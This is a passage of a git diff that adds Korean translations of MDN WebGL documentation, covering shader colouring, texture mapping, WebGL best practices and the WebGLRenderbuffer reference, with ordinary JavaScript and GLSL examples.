+ - 셰이더
+ - 웹지엘
+ - 컬러
+translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
+
+<p><a href="/ko/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context">앞 단원의 예제</a>에서 정사각형을 그려봤으니, 이제 정사각형에 색을 칠해 보겠습니다. 셰이더를 조금 수정하면 색을 칠할 수 있습니다.</p>
+
+<h2 id="정점에_색상_적용">정점에 색상 적용</h2>
+
+<p><span style="line-height: 16.7999992370605px;">GL(Graphic Library)에서 객체는 정점의 집합으로 구성되며, 각 정점은 위치값과 색상값을 가지고 있습니다. 기본적으로 정점이 아닌 모든 픽셀의 색상값은 선형 보간법(linear interpolation)을 이용해서 계산됩니다. 색상 뿐 아니라 위치를 포함한 다른 모든 속성들도 마찬가지로 선형 보간법으로 계산됩니다. 색상의 경우 선형 보간법을 통해 보간되면 자연스럽게 부드러운 그라데이션(gradation)이 형성됩니다. 앞 단원에서는 정점 셰이더에서 정점에 아무런 색상도 적용하지 않았습니다. 대신에 프래그먼트 셰이더에서 각 픽셀에 흰색을 적용했기 때문에 전체 사각형이 흰색으로 그려질 수 있었습니다.</span></p>
+
+<p>이제 정사각형의 각 꼭지점에 빨간색, 파란색, 녹색, 흰색을 적용해 보겠습니다. 정점이 아닌 픽셀들은 선형 보간에 의해 그라데이션이 형성됩니다. 먼저 네 개의 정점에 색을 지정하겠습니다. 정점에 색을 지정하려면 정점의 색상값을 가진 배열을 만들고, 이 배열을 WebGL 버퍼에 저장해야 합니다. <code>initBuffers()</code> 함수에 아래의 내용을 추가합니다:</p>
+
+<pre class="brush: js"> var colors = [
+ 1.0, 1.0, 1.0, 1.0, // 흰색
+ 1.0, 0.0, 0.0, 1.0, // 빨간색
+ 0.0, 1.0, 0.0, 1.0, // 녹색
+ 0.0, 0.0, 1.0, 1.0 // 파란색
+ ];
+
+ squareVerticesColorBuffer = gl.createBuffer();
+ gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+ gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+}
+</pre>
+
+<p>먼저 정점에 지정할 색상값을 가진 자바스크립트 배열을 생성합니다. 4개의 원소가 하나의 색을 나타내며, 정사각형의 4개의 꼭지점에 흰색, 빨간색, 파란색, 녹색이 지정되도록 값을 정합니다. 이 색상 정보 배열을 저장하기 위해 새로운 WebGL 버퍼를 생성하고, 배열은 부동소수점 형식으로 WebGL의 버퍼에 저장합니다.</p>
+
+<p>이 색상 정보를 실제 렌더링에 사용하려면, 컬러 버퍼에서 색상 정보를 읽을 수 있도록 정점 셰이더를 수정해야 합니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+ attribute vec3 aVertexPosition;
+ attribute vec4 aVertexColor;
+
+ uniform mat4 uMVMatrix;
+ uniform mat4 uPMatrix;
+
+  varying lowp vec4 vColor;
+
+ void main(void) {
+ gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vColor = aVertexColor;
+ }
+&lt;/script&gt;
+</pre>
+
+<p>수정 전의 소스와 가장 많이 달라진 점은, <span style="line-height: 16.7999992370605px;">색상 배열에서 읽은 값을 토대로 </span>각 정점에 색상값을 지정했다는 점입니다.</p>
+
+<h2 id="프래그먼트에_색상_입히기">프래그먼트에 색상 입히기</h2>
+
+<p>앞 단원에서 사용했던 프래그먼트 셰이더를 다시 한 번 보겠습니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+  void main(void) {
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+  }
+&lt;/script&gt;
+</pre>
+
+<p>프래그먼트에 색상 입히기는 아주 쉽습니다. 위와 같이 프래그먼트 셰이더 내에서 흰색을 지정해주는 대신 단순히 <code>vColor</code> 변수에서 값을 읽어오도록 수정하기만 하면, 각 픽셀 별로 보간된 색상값을 구할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+ varying lowp vec4 vColor;
+
+ void main(void) {
+ gl_FragColor = vColor;
+ }
+&lt;/script&gt;
+</pre>
+
+<p>위와 같이 각 프래그먼트는 정점을 기준으로 상대적인 위치에 따라 선형 보간된 색상값을 갖게 됩니다.</p>
+
+<h2 id="색상을_적용해서_그리기">색상을 적용해서 그리기</h2>
+
+<p>이제 셰이더 프로그램에서 색상 변수를 초기화하고 활성화하는 내용을 <code style="font-style: normal; line-height: 16.7999992370605px;">initShaders()</code><span style="line-height: 16.7999992370605px;">에 </span>추가합니다:</p>
+
+<pre class="brush: js">vertexColorAttribute = gl.getAttribLocation(shaderProgram, "aVertexColor");
+gl.enableVertexAttribArray(vertexColorAttribute);
+</pre>
+
+<p>다음은 정사각형을 그릴 때 색상 정보를 사용하도록 <code>drawScene()</code>을 수정합니다:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
+</pre>
+
+<p>이제 WebGL이 호환되는 브라우저에서 <a href="/samples/webgl/sample3/index.html">샘플</a>을 보면, 검정색 바탕에 아래와 같은 정사각형이 그려지는 것을 볼 수 있습니다:</p>
+
+<p><img alt="screenshot.png" class="default internal" src="/@api/deki/files/4081/=screenshot.png"></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
new file mode 100644
index 0000000000..b84b49017c
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
@@ -0,0 +1,183 @@
+---
+title: WebGL에서 텍스쳐 사용하기
+slug: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+tags:
+ - Texture
+ - WebGL
+ - 텍스쳐
+translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>앞 단원의 예제에서 회전하는 3차원 정육면체를 만들어봤습니다. 이번에는 정육면체의 각 면에 단색으로 색을 칠하는 대신에 텍스쳐를 입혀 보겠습니다.</p>
+
+<h2 id="텍스쳐_로딩">텍스쳐 로딩</h2>
+
+<p>가장 먼저 해야할 일은 텍스쳐를 읽어오는 것입니다. 이번 예제에서는 동일한 하나의 텍스쳐를 회전하는 정육면체의 6개의 면에 입혀볼 것입니다. 여러개의 텍스쳐를 각 면에 입힌다고 해도 하나를 입히는 것과 동일한 방법을 적용하면 됩니다.</p>
+
+<div class="note"><strong>Note:</strong> 텍스쳐를 외부에서 읽어올 때는 <a href="/En/HTTP_access_control">크로스 도메인 규칙(cross-domain rules)</a>에 유의해야 합니다. CORS(Cross Origin Resource Sharing)승인을 받을 수 있는 도메인에 있는 텍스쳐만 읽어올 수 있습니다. 자세한 내용은 <a href="/ko/docs/Web/WebGL/Cross-Domain_Textures">크로스 도메인 텍스쳐(Cross-domain textures)</a>를 참고하세요.</div>
+
+<p>텍스쳐를 읽어오는 코드는 다음과 같습니다:</p>
+
+<pre class="brush: js">function initTextures() {
+ cubeTexture = gl.createTexture();
+ cubeImage = new Image();
+ cubeImage.onload = function() { handleTextureLoaded(cubeImage, cubeTexture); }
+ cubeImage.src = "cubetexture.png";
+}
+
+function handleTextureLoaded(image, texture) {
+ gl.bindTexture(gl.TEXTURE_2D, texture);
+ gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_NEAREST);
+ gl.generateMipmap(gl.TEXTURE_2D);
+ gl.bindTexture(gl.TEXTURE_2D, null);
+}
+</pre>
+
+<p><code>initTextures()</code> 루틴은 GL의 <code>createTexture()</code> 함수를 호출해서 GL의 텍스쳐 객체인 <code>cubeTexture</code>를 생성하는 걸로 시작됩니다. 그리고 <code>Image</code> 객체를 생성해서 텍스쳐로 사용하기 위해 로딩한 이미지 파일을 <code>Image</code> 객체에 저장합니다. <code>handleTextureLoaded()</code>  콜백 루틴은 이미지 로딩이 완료되면 실행됩니다.</p>
+
+<p>텍스쳐를 실질적으로 생성하려면, 앞에서 새로 생성한 텍스쳐 객체를 <code>gl.TEXTURE_2D</code>에 바인딩해야 합니다. 그리고 나서 이미지 데이터가 로딩된 이미지 객체를 <code>texImage2D()</code>에 전달하여 호출하면, 이미지 데이터가 텍스쳐에 쓰여(write) 집니다.</p>
+
+<div class="note"><strong>Note:</strong> 텍스쳐의 너비와 높이는 <strong>거의 대부분</strong>의 상황에서 2의 거듭제곱 픽셀(1, 2, 4, 8, 16, 32, ...)이어야 합니다. 예외인 경우에 대해서는 아래의 <em>"</em><a href="/ko/docs/Web/WebGL/Using_textures_in_WebGL#Non_power-of-two_textures" style="font-style: italic; line-height: 16.7999992370605px;" title="/en-US/docs/Web/WebGL/Using_textures_in_WebGL#Using_non_Power-Of-Two_textures">크기가 2의 거듭제곱 픽셀이 아닌 텍스쳐</a><em>"를 참고하세요.</em></div>
+
+<p>그 다음 두 라인은 텍스쳐를 위한 필터링을 준비합니다. 이 필터링은 이미지 크기가 변경될 때 이미지가 필터되는 방식을 제어합니다. 여기에서는 이미지를 확대할 때 선형 필터링을 사용하고, 이미지를 축소할 때 mipmap을 사용합니다. <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">generateMipMap()</span>을 호출해서 mipmap이 만들어지면 <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">gl.TEXTURE_2D</span>에 null을 바인딩시켜서, 텍스쳐를 다룰 준비가 끝났다는 것을 <span style="line-height: 16.7999992370605px;">WebGL에게 </span>알려줍니다.</p>
+
+<h3 id="크기가_2의_거듭제곱이_아닌_텍스쳐">크기가 2의 거듭제곱이 아닌 텍스쳐</h3>
+
+<p>일반적으로 너비와 높이가 2의 거듭제곱인 텍스쳐를 사용하는 것이 가장 이상적입니다. 왜냐하면 2의 거듭제곱인 텍스쳐는 비디오 메모리에 효율적으로 저장될 수 있고, 어떤 방식으로 사용되어야만 한다는 제약이 없기 때문입니다. 예술가들이 이미 작성한 텍스쳐는 너비와 높이가 2의 거듭제곱이 되도록 크기를 맞춰줘야 하며, 가능하다면 아예 만들때부터 2의 거듭제곱으로 만드는 것이 좋습니다. 너비와 높이는 2의 거듭제곱인 <span style="line-height: 16.7999992370605px;">1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 또는 2048 픽셀이어야 합니다. 전부는 아니지만 많은 디바이스가 4096 픽셀도 지원하고 있으며, 어떤 디바이스는 8192 픽셀 이상을 지원하기도 합니다.</span></p>
+
+<p>2의 거듭제곱인 텍스쳐를 사용하기 곤란한 상황도 있을 수 있습니다. 텍스쳐의 소스가 되는 이미지를 써드파티에서 구한 것이라면, WebGL에 전달하기 전에 HTML5 캔버스를 이용해서 이미지 크기를 2의 거듭제곱으로 수정하는 것이 좋습니다. 이 때 UV 좌표값도 함께 조정해야 합니다.</p>
+
+<p>2의 거듭제곱이 아닌(NPOT, Non Power Of Two) 텍스쳐를 <strong>꼭 써야만 하는</strong> 상황도 있을 것입니다. WebGL은 NPOT 텍스쳐도 제한적으로 지원합니다. 텍스쳐의 크기가 모니터 해상도와 똑같아야만 한다거나, 위의 단락에서 언급한 것처럼 2의 거듭제곱으로 수정하는 일이 단순히 귀찮을 때는 NPOT 텍스쳐가 유용할 수 있습니다. 하지만 NPOT 텍스쳐에는 제약 사항이 있습니다. NPOT 텍스쳐는 <strong>mipmapping을 할 수 없으며</strong>, 타일(tile) 또는 감싸기(wrap) 처럼 <strong>"반복"하는 방식으로 사용할 수 없습니다</strong>.</p>
+
+<p>몇 개의 벽돌 이미지를 타일링 해서 벽돌로 된 벽을 만드는 것이 텍스쳐 반복의 한 사례 입니다.</p>
+
+<p><code>bindTexture()</code>를 이용해서 텍스쳐를 생성할 때, <code>texParameteri()</code> 메서드로 <span style="line-height: 16.7999992370605px;">mipmapping과 UV 반복을 </span>비활성화 시킬 수 있습니다.  이 비활성화를 통해 mipmapping, UV 감싸기, UV 타일링을 포기하고, 디바이스가 텍스쳐를 어떻게 처리할지 결정할 수 있는 제어권도 포기하는 대신 NPOT 텍스쳐를 사용할 수 있게 됩니다.</p>
+
+<pre>gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); //gl.LINEAR 대신에 gl.NEAREST도 허용되지만, 둘 다 mipmap 될 수 없다.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); //s좌표계 감싸기(반복) 방지
+<span style="line-height: 1.572;">gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); //t좌표계 감싸기(반복) 방지</span></pre>
+
+<p><code style="font-style: normal; line-height: 16.7999992370605px;">texParameteri()</code><span style="line-height: 16.7999992370605px;"> 메서드에 </span>위와 같은 파라미터를 전달함으로써, WebGL을 지원하는 디바이스는 어떤 해상도의 텍스쳐든 처리할 수 있는 최대한의 해상도까지 자동으로 처리할 수 있게 됩니다. 위와 같은 설정을 해주지 않으면 WebGL은 NPOT 텍스쳐를 처리하지 못하고 <code>rgba(0, 0, 0, 1)</code>인 검은색을 반환합니다.</p>
+
+<h2 id="면에_텍스쳐_입히기">면에 텍스쳐 입히기</h2>
+
+<p>이제 텍스쳐 읽어오기는 완료되었고, 텍스쳐도 사용할 준비가 되어 있습니다. 하지만 텍스쳐를 사용하기 전에 텍스쳐의 좌표와 정육면체의 면의 정점을 매핑 시켜줘야 합니다. 이를 위해 <span style="line-height: 16.7999992370605px;"><code>initBuffers()</code> 함수 안에 있던 정육면체 각 면의 색상을 설정하는 내용을 모두 아래와 같은 코드로 대체합니다.</span></p>
+
+<pre class="brush: js">cubeVerticesTextureCoordBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+
+var textureCoordinates = [
+ // 앞
+ 0.0, 0.0,
+ 1.0, 0.0,
+ 1.0, 1.0,
+ 0.0, 1.0,
+ // 뒤
+ 0.0, 0.0,
+ 1.0, 0.0,
+ 1.0, 1.0,
+ 0.0, 1.0,
+ // 위
+ 0.0, 0.0,
+ 1.0, 0.0,
+ 1.0, 1.0,
+ 0.0, 1.0,
+ // 아래
+ 0.0, 0.0,
+ 1.0, 0.0,
+ 1.0, 1.0,
+ 0.0, 1.0,
+ // 오른쪽
+ 0.0, 0.0,
+ 1.0, 0.0,
+ 1.0, 1.0,
+ 0.0, 1.0,
+ // 왼쪽
+ 0.0, 0.0,
+ 1.0, 0.0,
+ 1.0, 1.0,
+ 0.0, 1.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(textureCoordinates),
+ gl.STATIC_DRAW);
+</pre>
+
+<p>먼저 각 면의 텍스쳐 좌표를 저장할 GL 버퍼를 생성하고, 텍스쳐 좌표 배열에 바인딩 합니다.</p>
+
+<p><code style="font-style: normal; line-height: 16.7999992370605px;">textureCoordinates</code><span style="line-height: 16.7999992370605px;"> </span>배열은 정육면체 각 면의 정점에 해당하는 텍스쳐 좌표를 정의합니다. 텍스쳐 좌표값의 범위는 0.0 에서 1.0 사이라는 점을 기억해 주십시오. 텍스쳐 좌표의 너비값과 높이값은 실제 너비값이나 높이값과 관계 없이 언제나 0.0 에서 1.0 사이의 값으로 정규화(normalize) 됩니다.</p>
+
+<p>텍스쳐 매핑 배열 설정이 끝나고 배열을 버퍼에 전달하면 GL이 텍스쳐 데이터를 사용할 수 있게 됩니다.</p>
+
+<div class="note">Note: WebKit 기반의 브라우저에서는 <code>WebGLFloatArray</code> 대신에 <code>Float32Array를 사용해야 합니다.</code> </div>
+
+<h2 id="셰이더_수정">셰이더 수정</h2>
+
+<p>셰이더 프로그램과 셰이더를 초기화하는 코드들도 단색 색상 대신 텍스쳐를 사용할 수 있도록 수정해야 합니다.</p>
+
+<p>먼저 <code>initShaders()</code> 안에 있는 아주 단순한 변경 사항을 알아 봅시다:</p>
+
+<pre class="brush: js">textureCoordAttribute = gl.getAttribLocation(shaderProgram, "aTextureCoord");
+gl.enableVertexAttribArray(textureCoordAttribute);
+</pre>
+
+<p><span style="line-height: 16.7999992370605px;">정점 컬러 attribute 변수를 설정하던 코드가, </span>각 정점의 텍스쳐 좌표값을 설정하는 코드로 대체 되었습니다. </p>
+
+<h3 id="정점_셰이더">정점 셰이더</h3>
+
+<p>다음으로 색상 데이터를 읽어오던 정점 셰이더를 텍스쳐 좌표를 읽어오도록 수정해야 합니다.</p>
+
+<pre class="brush: html">&lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+ attribute vec3 aVertexPosition;
+ attribute vec2 aTextureCoord;
+
+ uniform mat4 uMVMatrix;
+ uniform mat4 uPMatrix;
+
+ varying highp vec2 vTextureCoord;
+
+ void main(void) {
+ gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+ vTextureCoord = aTextureCoord;
+ }
+&lt;/script&gt;
+</pre>
+
+<p>정점 색상 정보를 읽어오는 대신에 텍스쳐 좌표값을 읽어와서 설정한다는 점이 키 포인트 입니다. 위와 같이 정점과 텍스쳐 좌표값을 매핑하면, 각 정점이 텍스쳐의 어느 지점에 해당 하는지 알려줄 수 있습니다.</p>
+
+<h3 id="프래그먼트_셰이더">프래그먼트 셰이더</h3>
+
+<p>마찬가지로 프래그먼트 셰이더도 수정해야 합니다:</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+ varying highp vec2 vTextureCoord;
+
+ uniform sampler2D uSampler;
+
+ void main(void) {
+ gl_FragColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+ }
+&lt;/script&gt;
+</pre>
+
+<p>이렇게 하면 프래그먼트의 색상을 정하기 위해 직접 프래그먼트에 색상값을 할당하지 않고, 샘플러(sampler)가 판단하기에 프래그먼트의 위치에 가장 잘 맞아 떨어진다고 여겨지는 <strong>텍셀(texel, 텍스쳐 내부에 있는 픽셀)</strong>값에 따라서 <span style="line-height: 16.7999992370605px;">프래그먼트의 색상값을 계산해냅니다.</span></p>
+
+<h2 id="텍스쳐를_입힌_정육면체_그리기">텍스쳐를 입힌 정육면체 그리기</h2>
+
+<p>텍스쳐를 입힌 상태를 더 명확하게 확인할 수 있도록, 앞 단원의 예제에 포함되어 있던 정육면체의 이동을 제거한 것을 제외하면 drawScene() 함수의 수정은 간단합니다.</p>
+
+<p>정점에 색상을 매핑하던 코드를 다음과 같이 면에 텍스쳐를 매핑하는 코드로 대체합니다:</p>
+
+<pre class="brush: js">gl.activeTexture(gl.TEXTURE0);
+gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+gl.uniform1i(gl.getUniformLocation(shaderProgram, "uSampler"), 0);
+</pre>
+
+<p>GL은 32개의 텍스쳐 레지스터를 제공합니다. 그 중 첫번째 레지스터는 <code>gl.TEXTURE0</code> 입니다. 텍스쳐를 사용하기 위해 전에 읽어온 텍스쳐를 <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">gl.TEXTURE0</span>에 바인딩하고, 셰이더 샘플러를 셰이더 프로그램에 명시되어 있는 <code>uSampler</code>로 설정합니다.</p>
+
+<p>이제 앞 단원의 예제보다 더 보기 좋게 회전하는 정육면체를 볼 수 있을 것입니다. WebGL을 지원하는 브라우저라면 <a href="/samples/webgl/sample6/index.html">여기</a>에서 실제 동작하는 예제를 확인할 수 있습니다.</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/webgl_best_practices/index.html b/files/ko/web/api/webgl_api/webgl_best_practices/index.html
new file mode 100644
index 0000000000..41f0bb7537
--- /dev/null
+++ b/files/ko/web/api/webgl_api/webgl_best_practices/index.html
@@ -0,0 +1,46 @@
+---
+title: WebGL best practices
+slug: Web/API/WebGL_API/WebGL_best_practices
+translation_of: Web/API/WebGL_API/WebGL_best_practices
+---
+<p>{{WebGLSidebar}}</p>
+
+<p>이 기사는 당신의 WebGL 콘텐트 질을 향상시키기 위한 제안과 팁을 제시합니다. 다음의 제안들을 따르면,  당신의 웹 애플리케이션이 더 많은 장치들과 브라우저들과의 호환성을 높일 수 있을 뿐만 아니라, 성능도 향상시킬 수 있게 도와줍니다.</p>
+
+<h2 id="피해야_할_것들">피해야 할 것들</h2>
+
+<ul>
+ <li>당신의 웹 애플리케이션이 getError()가 리턴한 어떠한 WebGL 에러도 생성하지 않도록 항상 확실시 하세요.</li>
+ <li>당신은 WebGL 셰이더에서 절대로 #ifdef GL_ES를 사용해선 안 됩니다; 비록 초기의 몇몇 예제들은 이를 사용했더라도, 이제는 꼭 필요하지 않습니다. 왜냐하면 이 조건은 WebGL 셰이더에서 항상 참이기 때문입니다.</li>
+ <li>프래그먼트 셰이더에서 highdp 정밀도를 사용하는 것은 당신의 콘텐트가 몇몇의 구식 모바일 하드웨어에서 작동하는 것을 방해할 것입니다. 대신에 mediump를 사용할 수 있습니다. 하지만 이것은 종종 정밀도의 부족 때문에 대부분의 모바일 장치에서 오염된 렌더링을 초래합니다. 그리고 그 오염은 전형적인 데스크톱 컴퓨터에서는 보이지 않을 것입니다. 일반적으로, 셰이더가 다양한 플랫폼에서 철저하게 테스트되지 않았다면 정점, 프래그먼트 셰이더에서는 오직 highdp만 사용하는 것이 더 안전합니다. WebGL getShaderPrecisionFormat() 함수가 구현된 Firefox11에서 시작하는 것은  당신이 highdp 정밀도가 지원되는지 검사하도록 허용하고, 더 일반적으로, 지원되는 모든 정밀도 한정자의 실제 정밀도를 조회할 수 있게 해줍니다.</li>
+</ul>
+
+<h2 id="마음에_새겨야_할_것들">마음에 새겨야 할 것들</h2>
+
+<ul>
+ <li>몇몇의 WebGL의 능력들은 클라이언트에 의존합니다. 그들에게 의존하기 전에, 당신은 WebGL getParameter() 함수를 사용해서 클라이언트 측에서 무슨 값들이 지원되는지 결정해야 합니다. 예를 들면, 2D 텍스처의 최대 크기는 webgl.getParameter(webgl.MAX_TEXTURE_SIZE)로 주어집니다. Firefox10에서의 <code>webgl.min_capability_mode</code> preference는 이식성 검사를 위해 능력의 최소한의 값들을 시뮬레이팅 하도록 허락해 줍니다.</li>
+ <li>In particular, note that usage of textures in vertex shaders is only possible if <code>webgl.getParameter(webgl.MAX_VERTEX_TEXTURE_IMAGE_UNITS)</code> is greater than zero. Typically, this fails on current mobile hardware.</li>
+ <li>The availability of most WebGL extensions depends on the client. When using WebGL extensions, if possible, try to make them optional by gracefully adapting to the case there they are not supported. Starting in Firefox 10, the <code>webgl.disable-extensions</code> preference allows simulating the absence of all extensions, to test portability.</li>
+ <li>Rendering to a floating-point texture may not be supported, even if the <code>OES_texture_float</code> extension is supported. Typically, this fails on current mobile hardware. To check if this is supported, you have to call the WebGL <code>checkFramebufferStatus()</code> function.</li>
+ <li>Rendering to a canvas can be done at a different resolution than the style sheet will eventually force the canvas to appear at. If struggling with performance you should consider rendering to a low resolution WebGL context and using CSS to upscale its canvas to the size you intend.</li>
+</ul>
+
+<h2 id="일반적인_성능_팁들">일반적인 성능 팁들</h2>
+
+<ul>
+ <li>Anything that requires syncing the CPU and GPU sides is potentially very slow, so if possible you should try to avoid doing that in your main rendering loops. This includes the following WebGL calls: <code>getError()</code>, <code>readPixels()</code>, and <code>finish()</code>. WebGL getter calls such as <code>getParameter()</code> and <code>getUniformLocation()</code> should be considered slow too, so try to cache their results in a JavaScript variable.</li>
+ <li>Fewer, larger draw operations will improve performance. If you have 1000 sprites to paint, try to do it as a single <code>drawArrays()</code> or <code>drawElements()</code> call. You can draw degenerate (flat) triangles if you need to draw discontinuous objects as a single <code>drawArrays()</code> call.</li>
+ <li>Fewer state changes will also improve performance. In particular, if you can pack multiple images into a single texture and select them by using the appropriate texture coordinates, that can help you do fewer texture binding changes, which improves performance.
+ <ul>
+ <li>In some rare cases, packing greyscale textures which belong together into the color channels of a single texture might help.</li>
+ </ul>
+ </li>
+ <li>Smaller textures perform better than larger ones. For this reason, mipmapping can be a performance win.</li>
+ <li>Simpler shaders perform better than complex ones. In particular, if you can remove an <code>if</code> statement from a shader, that will make it run faster. Division and math functions like <code>log()</code> should be considered expensive too.
+ <ul>
+ <li>However, nowadays even mobile devices possess powerful GPUs that are capable of running even relatively complex shader programs. Moreover, because shaders are compiled, the eventual machine code that actually runs on the hardware may be highly optimized. What may seem like an expensive function call may in fact compile into only few (or even a single) machine instructions. This is particularly true for {{Glossary("GLSL")}} functions that typically operate on vectors, such as <code>normalize()</code>, <code>dot()</code> and <code>mix()</code>. The best advice in that regard is to use the built-in functions, rather than try to implement, for example, one's own version of a dot-product or linear interpolation, which may in fact compile to larger and less optimized machine code. Finally, it is important to keep in mind that GPUs are constructed to do complex mathematical calculations in hardware, and therefore, may support math functions, such as <code>sin()</code>, <code>cos()</code> and other, through dedicated machine instructions.</li>
+ </ul>
+ </li>
+ <li>Do as much as you can in the vertex shader, rather than in the fragment shader. Because, per rendering pass, fragment shaders run many more times than vertex shaders, any calculation that can be done on the vertices and then just interpolated among fragments is a performance boon (this interpolation is done "automagically" for you, through the fixed functionality rasterization phase of the OpenGL pipeline). For example, a simple animation of a textured surface can be achieved through a time-dependent transformation of texture coordinates (simplest case is to add a uniform vector to the texture coordinates attribute vector). If visually acceptable, one can transform the texture coordinates in the vertex shader rather than in the fragment shader, to get better performance.</li>
+ <li>Always have vertex attrib 0 array enabled. If you draw with vertex attrib 0 array disabled, you will force the browser to do complicated emulation when running on desktop OpenGL (e.g. on Mac OSX). This is because in desktop OpenGL, nothing gets drawn if vertex attrib 0 is not array-enabled. You can use <code>bindAttribLocation()</code> to force a vertex attribute to use location <code>0</code>, and use <code>enableVertexAttribArray()</code> to make it array-enabled.</li>
+</ul>
diff --git a/files/ko/web/api/webglrenderbuffer/index.html b/files/ko/web/api/webglrenderbuffer/index.html
new file mode 100644
index 0000000000..6cd95fc536
--- /dev/null
+++ b/files/ko/web/api/webglrenderbuffer/index.html
@@ -0,0 +1,64 @@
+---
+title: WebGLRenderbuffer
+slug: Web/API/WebGLRenderbuffer
+tags:
+ - 레퍼런스
+ - 웹지엘
+translation_of: Web/API/WebGLRenderbuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong>WebGLRenderbuffer</strong> 인터페이스는 <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> 의 부분입니다. 그리고 이미지를 담거나 렌더링 연산의 소스나 타겟이 될 수 있는 버퍼를 말합니다. </p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>WebGLRenderbuffer</code> 오브젝트는 메소드나 프로퍼티를 정의 하지 않으며 직접적으로 접근할 수 없습니다.  When working with <code>WebGLRenderbuffer</code> 오브젝트와 작업하려면 다음의 {{domxref("WebGLRenderingContext")}} 메소드가 도움이 될 것입니다. </p>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isRenderbuffer()")}}</li>
+</ul>
+
+<h2 id="예">예</h2>
+
+<h3 id="렌더_버퍼_만들기">렌더 버퍼 만들기</h3>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createRenderbuffer();
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebGL', "#5.7", "WebGLRenderbuffer")}}</td>
+ <td>{{Spec2('WebGL')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WebGLRenderbuffer")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isRenderbuffer()")}}</li>
+ <li>Other buffers: {{domxref("WebGLBuffer")}}, {{domxref("WebGLFramebuffer")}}</li>
+</ul>
